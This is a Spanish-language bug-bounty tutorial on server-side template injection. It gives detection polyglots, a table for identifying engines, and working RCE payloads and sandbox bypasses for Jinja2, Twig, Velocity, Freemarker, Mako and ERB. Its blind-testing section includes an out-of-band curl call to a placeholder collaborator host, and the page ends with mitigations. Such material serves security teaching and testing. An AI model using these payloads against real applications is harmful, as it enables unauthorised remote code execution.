Respuesta rápida
SSTI ocurre cuando user input acaba dentro de un template renderizado server-side. La mayoría de engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) permiten llamadas a métodos del lenguaje host → escalación rápida a RCE. Detección con polyglot ${{<%[%'"}}%\ que rompe casi cualquier engine. Identificación con {{7*7}} y variantes. Bounties típicos: €2.000-€10.000 (RCE).
Vectores típicos
Apps que generan emails/PDFs/respuestas dinámicas a partir de templates suelen ser candidatas:
- Email customization: "Bienvenido {{user.name}}" donde
user.nameviene del cliente. - Notification settings: subject template con placeholders.
- Error messages: con variables interpoladas (algunos frameworks).
- Reporting builders: define un template, sale un PDF.
- Legal/contract documents generados con datos del usuario.
- CMS donde el editor mete plantillas con variables.
Detección
Polyglot universal
${{<%[%'"}}%\
Este string rompe la sintaxis de casi todos los template engines. Si el response cambia (error 500, página rota) → posible SSTI.
Identificación del engine
Test inicial: {{7*7}}.
| Output | Engine probable |
|---|---|
49 | Jinja2, Twig |
7777777 | Twig (con string concat) |
{{7*7}} (literal) | No SSTI (el template no se interpreta) |
| Error | Possible different engine |
Test diferenciador Jinja2 vs Twig:
{{7*'7'}}
| Output | Engine |
|---|---|
7777777 | Jinja2 |
49 (numeric) | Twig |
Para Java engines (Velocity, Freemarker):
${7*7}
Si retorna 49 → Velocity, Freemarker, o similar.
Para ERB (Ruby): <%= 7*7 %>.
Escalación a RCE
Jinja2 (Python)
Jinja2 es el más común. Escapar el sandbox via cadenas de objetos:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Devuelve lista de subclases. Identificar índice de subprocess.Popen o similar.
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}
Variantes según versión de Python y subclases disponibles. Más reciente:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
O bypass más moderno:
{{["id"]|filter("system")}}
Velocity (Java)
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
Freemarker (Java)
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
ERB (Ruby)
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>
SSTI sandbox bypasses
Engines modernos tienen sandbox que bloquea __class__, __subclasses__, etc. Bypasses:
Jinja2 sandbox bypass
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Si request o config están en el contexto, son source de globals.
Filtros restringidos
Si __class__ está bloqueado pero attr no:
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}
Blind SSTI
Si no hay output visible:
Time-based
{{ '7'*999999999 }} # huge string, lag observable
{{ 'x'*99 if 7*7 == 49 else 'y' }} # condicional time
OOB
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}
Burp Collaborator captura el hit.
Endpoints típicos donde encontrarlo
- Email customization en notification settings.
- Subject de emails broadcast.
- PDF generators con templates personalizables.
- Error pages con variables (más raro pero existente).
- Reporting con queries que producen output formateado.
- CMS con widgets/plugins editables.
- Newsletters templates editables por user con preview.
Detection blind si no se ve output
# Jinja2
{{ '{}'.format(7*7) }} # solo retorna 49 si interpola
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}
Time-based + OOB son tus dos amigos cuando es blind.
Hunting checklist
- ¿Hay endpoints donde el cliente puede escribir contenido que aparece en emails, PDFs, reportes?
- ¿Hay "preview" de templates? Vector directo.
- ¿Probar polyglot
${{<%[%'"}}%\y observar errores? - ¿
{{7*7}}retorna49? → SSTI confirmado. - ¿El engine permite acceso a globals/builtins? Prueba
__class__. - ¿Si el sandbox bloquea, probar variantes con
attr(),request.application,config? - ¿Blind: time-based + OOB con Collaborator?
Mitigación correcta
- NO renderizar templates con user input. Usar
{{ user_input }}como datos, nunca{{ template_string }}. - Sandboxed environment del template engine cuando user sí escribe templates (ej. Jinja2 SandboxedEnvironment).
- Whitelist estricta de variables/funciones permitidas (sin
__class__,__import__, etc). - Logical/visual templates (Liquid) que no permiten Python/Ruby code arbitrario.
- Input validation antes de pasar al template.
Labs relacionados
Practica detección, identificación de engine y escalación SSTI a RCE en Jinja2, Twig y Velocity: labs de SSTI.
Practica esto en un lab
Ssti
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
Command Injection — bypasses con espacio, encoding y backticks
Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.